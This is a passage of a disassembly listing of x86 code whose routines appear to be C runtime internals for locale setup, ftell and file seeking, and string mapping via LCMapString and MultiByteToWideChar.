dword_4EF96C[edx*4] mov [ebp+var_4], eax push 6 mov ecx, [ebp+arg_0] imul ecx, 6 add ecx, offset dword_4EFBB0 push ecx lea edx, [ebp+var_14] push edx call near ptr sub_41C8D0 add esp, 0Ch mov eax, dword_4EF984 mov [ebp+var_18], eax lea ecx, [ebp+var_9C] push ecx mov edx, [ebp+var_8] push edx call sub_41C300 add esp, 8 mov ecx, [ebp+arg_0] imul ecx, 0Ch mov dword_451B84[ecx], eax mov edx, [ebp+var_A8] and edx, 0FFFFh mov eax, [ebp+arg_0] mov dword_4EF96C[eax*4], edx push 6 lea ecx, [ebp+var_A8] push ecx mov edx, [ebp+arg_0] imul edx, 6 add edx, offset dword_4EFBB0 push edx call near ptr sub_41C8D0 add esp, 0Ch cmp [ebp+arg_0], 2 jnz short loc_428DA3 mov eax, [ebp+var_A0] mov dword_4EF984, eax loc_428DA3: ; CODE XREF: sub_428C90+106j cmp [ebp+arg_0], 1 jnz short loc_428DB5 mov ecx, [ebp+var_A0] mov dword_4EF988, ecx loc_428DB5: ; CODE XREF: sub_428C90+117j mov edx, [ebp+arg_0] imul edx, 0Ch call off_451B88[edx] test eax, eax jz short loc_428DFC mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, [ebp+var_C] mov dword_451B84[eax], ecx push 2 mov edx, [ebp+var_8] push edx call sub_419980 add esp, 8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_4EF96C[eax*4], ecx mov edx, [ebp+var_18] mov dword_4EF984, edx xor eax, eax jmp short loc_428E1F ; --------------------------------------------------------------------------- loc_428DFC: ; CODE XREF: sub_428C90+133j cmp [ebp+var_C], offset dword_451A74 jz short loc_428E13 push 2 mov eax, [ebp+var_C] push eax call sub_419980 add esp, 8 loc_428E13: ; CODE XREF: sub_428C90+173j mov ecx, [ebp+arg_0] imul ecx, 0Ch mov eax, dword_451B84[ecx] loc_428E1F: ; CODE XREF: sub_428C90+34j ; sub_428C90+6Bj ... mov esp, ebp pop ebp retn sub_428C90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428E30 proc near ; CODE XREF: .nsp0:00428B4Fp ; .nsp0:00428C16p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 1 cmp dword_451B84, 0 jnz short loc_428E64 push 167h push offset aSetlocal_c ; "setlocal.c" push 2 push 351h call sub_418EF0 add esp, 10h mov dword_451B84, eax loc_428E64: ; CODE XREF: sub_428E30+14j mov eax, dword_451B84 mov byte ptr [eax], 0 mov [ebp+var_4], 1 jmp short loc_428E7E ; --------------------------------------------------------------------------- loc_428E75: ; CODE XREF: sub_428E30:loc_428F27j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_428E7E: ; CODE XREF: sub_428E30+43j mov edx, [ebp+var_4] imul edx, 0Ch mov eax, dword_451B84[edx] push eax push offset asc_43829C ; "=" mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, off_451B80[ecx] push edx push 3 mov eax, dword_451B84 push eax call sub_4290D0 add esp, 14h cmp [ebp+var_4], 5 jge short loc_428EF9 push offset asc_438288 ; ";" mov ecx, dword_451B84 push ecx call sub_41C310 add esp, 8 mov edx, [ebp+var_4] add edx, 1 imul edx, 0Ch mov eax, dword_451B84[edx] push eax mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, dword_451B84[ecx] push edx call sub_41C4C0 add esp, 8 test eax, eax jz short loc_428EF7 mov [ebp+var_8], 0 loc_428EF7: ; CODE XREF: sub_428E30+BEj jmp short loc_428F27 ; --------------------------------------------------------------------------- loc_428EF9: ; CODE XREF: sub_428E30+81j cmp [ebp+var_8], 0 jnz short loc_428F06 mov eax, dword_451B84 jmp short loc_428F2C ; --------------------------------------------------------------------------- loc_428F06: ; CODE XREF: sub_428E30+CDj push 2 mov eax, dword_451B84 push eax call sub_419980 add esp, 8 mov dword_451B84, 0 mov eax, off_451B9C jmp short loc_428F2C ; --------------------------------------------------------------------------- loc_428F27: ; CODE XREF: sub_428E30:loc_428EF7j jmp loc_428E75 ; --------------------------------------------------------------------------- loc_428F2C: ; CODE XREF: sub_428E30+D4j ; sub_428E30+F5j mov esp, ebp pop ebp retn sub_428E30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F30 proc near ; CODE XREF: .nsp0:00428B87p ; sub_428C90+26p var_88 = byte ptr -88h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 88h cmp [ebp+arg_0], 0 jnz short loc_428F46 xor eax, eax jmp loc_4290B0 ; --------------------------------------------------------------------------- loc_428F46: ; CODE XREF: sub_428F30+Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 43h jnz short loc_428FA0 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+1] test eax, eax jnz short loc_428FA0 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 43h mov edx, [ebp+arg_4] mov byte ptr [edx+1], 0 cmp [ebp+arg_8], 0 jz short loc_428F89 mov eax, [ebp+arg_8] mov word ptr [eax], 0 mov ecx, [ebp+arg_8] mov word ptr [ecx+2], 0 mov edx, [ebp+arg_8] mov word ptr [edx+4], 0 loc_428F89: ; CODE XREF: sub_428F30+3Dj cmp [ebp+arg_C], 0 jz short loc_428F98 mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_428F98: ; CODE XREF: sub_428F30+5Dj mov eax, [ebp+arg_4] jmp loc_4290B0 ; --------------------------------------------------------------------------- loc_428FA0: ; CODE XREF: sub_428F30+1Fj ; sub_428F30+2Aj mov ecx, [ebp+arg_0] push ecx push offset dword_451AFC call sub_41C4C0 add esp, 8 test eax, eax jz loc_429068 mov edx, [ebp+arg_0] push edx push offset dword_451A78 call sub_41C4C0 add esp, 8 test eax, eax jz loc_429068 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_88] push ecx call sub_429120 add esp, 8 test eax, eax jz short loc_428FF0 xor eax, eax jmp loc_4290B0 ; --------------------------------------------------------------------------- loc_428FF0: ; CODE XREF: sub_428F30+B7j lea edx, [ebp+var_88] push edx push offset dword_4EF98C lea eax, [ebp+var_88] push eax call sub_42FDA0 add esp, 0Ch test eax, eax jnz short loc_429016 xor eax, eax jmp loc_4290B0 ; --------------------------------------------------------------------------- loc_429016: ; CODE XREF: sub_428F30+DDj xor ecx, ecx mov cx, word_4EF990 mov dword_4EF994, ecx lea edx, [ebp+var_88] push edx push offset dword_451AFC call sub_429280 add esp, 8 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_429056 mov edx, [ebp+arg_0] push edx push offset dword_451A78 call sub_41C300 add esp, 8 jmp short loc_429068 ; --------------------------------------------------------------------------- loc_429056: ; CODE XREF: sub_428F30+111j push offset dword_451AFC push offset dword_451A78 call sub_41C300 add esp, 8 loc_429068: ; CODE XREF: sub_428F30+83j ; sub_428F30+9Cj ... cmp [ebp+arg_8], 0 jz short loc_429081 push 6 push offset dword_4EF98C mov eax, [ebp+arg_8] push eax call near ptr sub_41C8D0 add esp, 0Ch loc_429081: ; CODE XREF: sub_428F30+13Cj cmp [ebp+arg_C], 0 jz short loc_42909A push 4 push offset dword_4EF994 mov ecx, [ebp+arg_C] push ecx call near ptr sub_41C8D0 add esp, 0Ch loc_42909A: ; CODE XREF: sub_428F30+155j push offset dword_451AFC mov edx, [ebp+arg_4] push edx call sub_41C300 add esp, 8 mov eax, offset dword_451AFC loc_4290B0: ; CODE XREF: sub_428F30+11j ; sub_428F30+6Bj ... mov esp, ebp pop ebp retn sub_428F30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4290C0 proc near ; CODE XREF: sub_428C90+12Bp ; DATA XREF: .nsp0:off_451B88o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_4290C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4290D0 proc near ; CODE XREF: sub_428E30+75p ; sub_429280+30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+arg_8] mov [ebp+var_4], eax mov [ebp+var_8], 0 jmp short loc_4290EE ; --------------------------------------------------------------------------- loc_4290E5: ; CODE XREF: sub_4290D0+42j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_4290EE: ; CODE XREF: sub_4290D0+13j mov edx, [ebp+var_8] cmp edx, [ebp+arg_4] jge short loc_429114 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx-4] push edx mov eax, [ebp+arg_0] push eax call sub_41C310 add esp, 8 jmp short loc_4290E5 ; --------------------------------------------------------------------------- loc_429114: ; CODE XREF: sub_4290D0+24j mov [ebp+var_4], 0 mov esp, ebp pop ebp retn sub_4290D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429120 proc near ; CODE XREF: sub_428F30+ADp var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 88h push 0 mov eax, [ebp+arg_0] push eax call sub_41B190 add esp, 0Ch mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42914A xor eax, eax jmp loc_429279 ; --------------------------------------------------------------------------- loc_42914A: ; CODE XREF: sub_429120+21j mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_429180 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] test eax, eax jz short loc_429180 mov ecx, [ebp+arg_4] add ecx, 1 push ecx mov edx, [ebp+arg_0] add edx, 80h push edx call sub_41C300 add esp, 8 xor eax, eax jmp loc_429279 ; --------------------------------------------------------------------------- loc_429180: ; CODE XREF: sub_429120+33j ; sub_429120+3Ej mov [ebp+var_4], 0 jmp short loc_429192 ; --------------------------------------------------------------------------- loc_429189: ; CODE XREF: sub_429120+152j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_429192: ; CODE XREF: sub_429120+67j push offset a___0 ; "_.," mov ecx, [ebp+arg_4] push ecx call sub_42FD20 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4291B4 or eax, 0FFFFFFFFh jmp loc_429279 ; --------------------------------------------------------------------------- loc_4291B4: ; CODE XREF: sub_429120+8Aj mov edx, [ebp+arg_4] add edx, [ebp+var_C] mov al, [edx] mov [ebp+var_8], al cmp [ebp+var_4], 0 jnz short loc_4291EA cmp [ebp+var_C], 40h jge short loc_4291EA movsx ecx, [ebp+var_8] cmp ecx, 2Eh jz short loc_4291EA mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41B1F0 add esp, 0Ch jmp short loc_429250 ; --------------------------------------------------------------------------- loc_4291EA: ; CODE XREF: sub_429120+A3j ; sub_429120+A9j ... cmp [ebp+var_4], 1 jnz short loc_429218 cmp [ebp+var_C], 40h jge short loc_429218 movsx edx, [ebp+var_8] cmp edx, 5Fh jz short loc_429218 mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] add edx, 40h push edx call sub_41B1F0 add esp, 0Ch jmp short loc_429250 ; --------------------------------------------------------------------------- loc_429218: ; CODE XREF: sub_429120+CEj ; sub_429120+D4j ... cmp [ebp+var_4], 2 jnz short loc_42924B movsx eax, [ebp+var_8] test eax, eax jz short loc_42922F movsx ecx, [ebp+var_8] cmp ecx, 2Ch jnz short loc_42924B loc_42922F: ; CODE XREF: sub_429120+104j mov edx, [ebp+var_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] add ecx, 80h push ecx call sub_41B1F0 add esp, 0Ch jmp short loc_429250 ; --------------------------------------------------------------------------- loc_42924B: ; CODE XREF: sub_429120+FCj ; sub_429120+10Dj or eax, 0FFFFFFFFh jmp short loc_429279 ; --------------------------------------------------------------------------- loc_429250: ; CODE XREF: sub_429120+C8j ; sub_429120+F6j ... movsx edx, [ebp+var_8] cmp edx, 2Ch jnz short loc_42925B jmp short loc_429277 ; --------------------------------------------------------------------------- loc_42925B: ; CODE XREF: sub_429120+137j movsx eax, [ebp+var_8] test eax, eax jnz short loc_429265 jmp short loc_429277 ; --------------------------------------------------------------------------- loc_429265: ; CODE XREF: sub_429120+141j mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] lea eax, [edx+ecx+1] mov [ebp+arg_4], eax jmp loc_429189 ; --------------------------------------------------------------------------- loc_429277: ; CODE XREF: sub_429120+139j ; sub_429120+143j xor eax, eax loc_429279: ; CODE XREF: sub_429120+25j ; sub_429120+5Bj ... mov esp, ebp pop ebp retn sub_429120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429280 proc near ; CODE XREF: sub_428F30+101p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41C300 add esp, 8 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+40h] test eax, eax jz short loc_4292B8 mov ecx, [ebp+arg_4] add ecx, 40h push ecx push offset a__4 ; "_" push 2 mov edx, [ebp+arg_0] push edx call sub_4290D0 add esp, 10h loc_4292B8: ; CODE XREF: sub_429280+1Cj mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+80h] test ecx, ecx jz short loc_4292E3 mov edx, [ebp+arg_4] add edx, 80h push edx push offset a__3 ; "." push 2 mov eax, [ebp+arg_0] push eax call sub_4290D0 add esp, 10h loc_4292E3: ; CODE XREF: sub_429280+44j pop ebp retn sub_429280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4292F0 proc near ; CODE XREF: sub_41DD30+10Ep ; sub_422AF0+216p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4EFD40 jnb short loc_429321 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42933C loc_429321: ; CODE XREF: sub_4292F0+Dj call sub_4248A0 mov dword ptr [eax], 9 call sub_4248B0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_42936E ; --------------------------------------------------------------------------- loc_42933C: ; CODE XREF: sub_4292F0+2Fj mov edx, [ebp+arg_0] push edx call sub_42BC50 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_429380 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_42BCE0 add esp, 4 mov eax, [ebp+var_4] loc_42936E: ; CODE XREF: sub_4292F0+4Aj mov esp, ebp pop ebp retn sub_4292F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429380 proc near ; CODE XREF: sub_422190+40Dp ; sub_4292F0+64p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_42BAD0 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4293AE call sub_4248A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_42942E ; --------------------------------------------------------------------------- loc_4293AE: ; CODE XREF: sub_429380+19j mov ecx, [ebp+arg_8] push ecx push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_C] push eax call dword_4F13DC ; SetFilePointer mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_4293D6 call dword_4F1348 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_4293DD ; --------------------------------------------------------------------------- loc_4293D6: ; CODE XREF: sub_429380+49j mov [ebp+var_4], 0 loc_4293DD: ; CODE XREF: sub_429380+54j cmp [ebp+var_4], 0 jz short loc_4293F4 mov ecx, [ebp+var_4] push ecx call sub_424800 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_42942E ; --------------------------------------------------------------------------- loc_4293F4: ; CODE XREF: sub_429380+61j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_4EFC40[edx*4] mov dl, [ecx+eax+4] and dl, 0FDh mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_4EFC40[eax*4] mov [eax+ecx+4], dl mov eax, [ebp+var_8] loc_42942E: ; CODE XREF: sub_429380+29j ; sub_429380+72j mov esp, ebp pop ebp retn sub_429380 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_429447: ; CODE XREF: .nsp0:0042946Fj cmp dword ptr [ebp+8], 0 jnz short loc_42946B push offset dword_437504 push 0 push 32h push offset aFtell_c ; "ftell.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_42946B int 3 ; Trap to Debugger loc_42946B: ; CODE XREF: .nsp0:0042944Bj ; .nsp0:00429468j xor eax, eax test eax, eax jnz short loc_429447 mov ecx, [ebp+8] push ecx call sub_41ECE0 add esp, 4 mov edx, [ebp+8] push edx call sub_4294B0 add esp, 4 mov [ebp-4], eax mov eax, [ebp+8] push eax call sub_41ED50 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4294B0 proc near ; CODE XREF: sub_41DD30+87p ; .nsp0:00429481p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi loc_4294B9: ; CODE XREF: sub_4294B0+31j cmp [ebp+arg_0], 0 jnz short loc_4294DD push offset dword_437514 push 0 push 63h push offset aFtell_c ; "ftell.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_4294DD int 3 ; Trap to Debugger loc_4294DD: ; CODE XREF: sub_4294B0+Dj ; sub_4294B0+2Aj xor eax, eax test eax, eax jnz short loc_4294B9 mov ecx, [ebp+arg_0] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov eax, [edx+10h] mov [ebp+var_8], eax mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jge short loc_429505 mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 loc_429505: ; CODE XREF: sub_4294B0+49j push 1 push 0 mov eax, [ebp+var_8] push eax call sub_4292F0 add esp, 0Ch mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jge short loc_429526 or eax, 0FFFFFFFFh jmp loc_429743 ; --------------------------------------------------------------------------- loc_429526: ; CODE XREF: sub_4294B0+6Cj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jnz short loc_429546 mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] sub ecx, [eax+4] mov eax, ecx jmp loc_429743 ; --------------------------------------------------------------------------- loc_429546: ; CODE XREF: sub_4294B0+84j mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_18], ecx mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 3 test eax, eax jz short loc_4295BC mov ecx, [ebp+var_8] sar ecx, 5 mov edx, [ebp+var_8] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz short loc_4295BA mov edx, [ebp+var_C] mov eax, [edx+8] mov [ebp+var_4], eax jmp short loc_42959A ; --------------------------------------------------------------------------- loc_429591: ; CODE XREF: sub_4294B0:loc_4295B8j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42959A: ; CODE XREF: sub_4294B0+DFj mov edx, [ebp+var_C] mov eax, [ebp+var_4] cmp eax, [edx] jnb short loc_4295BA mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_4295B8 mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax loc_4295B8: ; CODE XREF: sub_4294B0+FDj jmp short loc_429591 ; --------------------------------------------------------------------------- loc_4295BA: ; CODE XREF: sub_4294B0+D4j ; sub_4294B0+F2j jmp short loc_4295DF ; --------------------------------------------------------------------------- loc_4295BC: ; CODE XREF: sub_4294B0+AFj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jnz short loc_4295DF call sub_4248A0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_429743 ; --------------------------------------------------------------------------- loc_4295DF: ; CODE XREF: sub_4294B0:loc_4295BAj ; sub_4294B0+11Aj cmp [ebp+var_1C], 0 jnz short loc_4295ED mov eax, [ebp+var_18] jmp loc_429743 ; --------------------------------------------------------------------------- loc_4295ED: ; CODE XREF: sub_4294B0+133j mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz loc_42973D mov edx, [ebp+var_C] cmp dword ptr [edx+4], 0 jnz short loc_429613 mov [ebp+var_18], 0 jmp loc_42973D ; --------------------------------------------------------------------------- loc_429613: ; CODE XREF: sub_4294B0+155j mov eax, [ebp+var_C] mov ecx, [ebp+var_C] mov edx, [eax] sub edx, [ecx+8] mov eax, [ebp+var_C] mov ecx, [eax+4] add ecx, edx mov [ebp+var_10], ecx mov edx, [ebp+var_8] sar edx, 5 mov eax, [ebp+var_8] and eax, 1Fh imul eax, 24h mov ecx, dword_4EFC40[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 80h test edx, edx jz loc_429734 push 2 push 0 mov eax, [ebp+var_8] push eax call sub_4292F0 add esp, 0Ch cmp eax, [ebp+var_1C] jnz short loc_4296C0 mov ecx, [ebp+var_C] mov edx, [ecx+8] add edx, [ebp+var_10] mov [ebp+var_14], edx mov eax, [ebp+var_C] mov ecx, [eax+8] mov [ebp+var_4], ecx jmp short loc_429687 ; --------------------------------------------------------------------------- loc_42967E: ; CODE XREF: sub_4294B0:loc_4296A3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_429687: ; CODE XREF: sub_4294B0+1CCj mov eax, [ebp+var_4] cmp eax, [ebp+var_14] jnb short loc_4296A5 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_4296A3 mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_4296A3: ; CODE XREF: sub_4294B0+1E8j jmp short loc_42967E ; --------------------------------------------------------------------------- loc_4296A5: ; CODE XREF: sub_4294B0+1DDj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 2000h test edx, edx jz short loc_4296BE mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_4296BE: ; CODE XREF: sub_4294B0+203j jmp short loc_429734 ; --------------------------------------------------------------------------- loc_4296C0: ; CODE XREF: sub_4294B0+1B5j push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_8] push edx call sub_4292F0 add esp, 0Ch cmp [ebp+var_10], 200h ja short loc_429700 mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_429700 mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 400h test eax, eax jnz short loc_429700 mov [ebp+var_10], 200h jmp short loc_429709 ; --------------------------------------------------------------------------- loc_429700: ; CODE XREF: sub_4294B0+229j ; sub_4294B0+236j ... mov ecx, [ebp+var_C] mov edx, [ecx+18h] mov [ebp+var_10], edx loc_429709: ; CODE XREF: sub_4294B0+24Ej mov eax, [ebp+var_8] sar eax, 5 mov ecx, [ebp+var_8] and ecx, 1Fh imul ecx, 24h mov edx, dword_4EFC40[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 4 test eax, eax jz short loc_429734 mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_429734: ; CODE XREF: sub_4294B0+19Cj ; sub_4294B0:loc_4296BEj ... mov edx, [ebp+var_1C] sub edx, [ebp+var_10] mov [ebp+var_1C], edx loc_42973D: ; CODE XREF: sub_4294B0+148j ; sub_4294B0+15Ej mov eax, [ebp+var_1C] add eax, [ebp+var_18] loc_429743: ; CODE XREF: sub_4294B0+71j ; sub_4294B0+91j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4294B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429750 proc near ; CODE XREF: sub_41E5F0+EBp ; sub_424370+121p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4382C0 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4EF998, 0 jnz short loc_4297D6 push 0 push 0 push 1 push offset dword_4382B8 push 100h push 0 call dword_4F1318 ; LCMapStringW test eax, eax jz short loc_4297A7 mov dword_4EF998, 1 jmp short loc_4297D6 ; --------------------------------------------------------------------------- loc_4297A7: ; CODE XREF: sub_429750+49j push 0 push 0 push 1 push offset dword_4382B4 push 100h push 0 call dword_4F131C ; LCMapStringA test eax, eax jz short loc_4297CF mov dword_4EF998, 2 jmp short loc_4297D6 ; --------------------------------------------------------------------------- loc_4297CF: ; CODE XREF: sub_429750+71j xor eax, eax jmp loc_429A41 ; --------------------------------------------------------------------------- loc_4297D6: ; CODE XREF: sub_429750+2Dj ; sub_429750+55j ... cmp [ebp+arg_C], 0 jle short loc_4297EF mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_429A60 add esp, 8 mov [ebp+arg_C], eax loc_4297EF: ; CODE XREF: sub_429750+8Aj cmp dword_4EF998, 2 jnz short loc_42981B mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4F131C ; LCMapStringA jmp loc_429A41 ; --------------------------------------------------------------------------- loc_42981B: ; CODE XREF: sub_429750+A6j cmp dword_4EF998, 1 jnz loc_429A3F cmp [ebp+arg_18], 0 jnz short loc_429837 mov edx, dword_4EF984 mov [ebp+arg_18], edx loc_429837: ; CODE XREF: sub_429750+DCj push 0 push 0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_1C] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_18] push eax call dword_4F1420 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_42986B xor eax, eax jmp loc_429A41 ; --------------------------------------------------------------------------- loc_42986B: ; CODE XREF: sub_429750+112j mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_41BC60 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4298AD ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4298AD: ; CODE XREF: sub_429750+144j cmp [ebp+var_24], 0 jnz short loc_4298BA xor eax, eax jmp loc_429A41 ; --------------------------------------------------------------------------- loc_4298BA: ; CODE XREF: sub_429750+161j mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax call dword_4F1420 ; MultiByteToWideChar test eax, eax jnz short loc_4298E1 xor eax, eax jmp loc_429A41 ; --------------------------------------------------------------------------- loc_4298E1: ; CODE XREF: sub_429750+188j push 0 push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4F1318 ; LCMapStringW mov [ebp+var_28], eax cmp 